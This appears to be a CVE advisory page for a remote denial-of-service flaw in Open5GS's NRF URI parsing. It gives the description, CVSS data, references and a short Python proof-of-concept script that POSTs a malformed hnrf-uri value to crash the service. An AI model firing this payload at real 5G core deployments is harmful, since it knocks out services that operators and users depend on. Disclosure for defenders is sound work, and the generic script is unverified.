CVE-2026-8292

Description

A security vulnerability has been detected in Open5GS up to 2.7.7. The affected element is the function yuarel_parse in the library /lib/sbi/conv.c of the component NRF. Such manipulation of the argument hnrf-uri leads to denial of service. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Open5GS <= 2.7.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-8292
# This script attempts to trigger the DoS by sending a malformed hnrf-uri to the NRF component.

import requests

def trigger_dos(target_url):
    # Malformed hnrf-uri parameter designed to crash yuarel_parse
    malicious_payload = {
        "hnrf-uri": "http://%%%@%%%/invalid"
    }
    
    try:
        print(f"Sending payload to {target_url}...")
        response = requests.post(target_url, data=malicious_payload, timeout=5)
        print(f"Request sent. Status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Request failed (Service might be down): {e}")

if __name__ == "__main__":
    # Replace with actual target endpoint
    target = "http://<target-ip>:<port>/nrf-nf-management"
    trigger_dos(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8292
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8292
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8292/
[4] VulDB https://vuldb.com/cve/CVE-2026-8292
[5] https://github.com/open5gs/open5gs/
[6] https://github.com/open5gs/open5gs/issues/4457
[7] https://vuldb.com/submit/808509
[8] https://vuldb.com/vuln/362589
[9] https://vuldb.com/vuln/362589/cti

Raw JSON Data

JSON

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